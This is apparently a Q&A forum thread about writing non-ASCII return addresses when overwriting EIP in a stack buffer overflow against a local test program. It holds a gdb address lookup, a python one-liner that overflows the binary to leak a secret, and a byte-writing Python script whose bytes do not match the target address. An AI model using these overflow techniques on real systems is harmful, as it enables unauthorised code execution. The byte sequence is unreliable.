2

I'm trying to overwrite the EIP to cause a buffer overflow. I can write values to the EIP but I'm only able to write ASCII values and I need to redirect the execution to a high stack address e.g. 0xbfff4a60

I can overwrite by using AAAA which will convert to 0x41414141. I have sixteen bytes available to write to. Is there any way of doing this with ASCII, or unique assembly tricks entered using ASCII?

Entering extended ascii values doesn't work such as ÿ

1

Example if we examine the location of a function which prints the secret we want to leak:

(gdb) p &print_secret
$2 = (void (*)()) 0x55555555473a <print_secret>
(gdb) Quit

In the above scenario we are lucky that the hexadecimal location (55555555473a) can be written as UUUUG: and backwards because it is little-endian computer:

$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
the secret is: blahonga
Segmentation fault (core dumped)
$  

But if the location is for example bfff4a60 then that would not translate within ASCII and you get "garbage" trying to translate it. Instead you convert it to bytes

>>> bytes.fromhex("bfff4a60")
b'\xbf\xffJ`'

And use a script to output it to the program you are going to attack (see https://stackoverflow.com/questions/6624453/whats-the-correct-way-to-convert-bytes-to-a-hex-string-in-python-3):

import sys
import struct

def writeStr(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v.encode("ascii"))
    sys.stdout.flush()

def writeBytes(v):
    sys.stdout.flush()
    sys.stdout.buffer.write(v)
    sys.stdout.flush()

# Write 16 bytes
writeStr("AAAAAAAAAAAAAAAA")
# Overwrite the instruction pointer
writeBytes(b"\xffJ\xbf")
writeStr("\n")
2
  • 1
    Is there a way of doing something similar using C? – f23aaz Nov 24 '19 at 15:00
  • @w1220 I think there is but I did not see it. – Niklas R. Nov 26 '19 at 8:27
0

If you want to enter high bytes into stdin (for example when debugging with gdb in a shell) then you first have to change the encoding of the terminal emulator you are using from UTF-8 to ISO-8859-1 or something similar so your entered bytes don't get converted into something else.

Once you have done this you can enter the byte values with ctrl+shift+u and the hex number.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.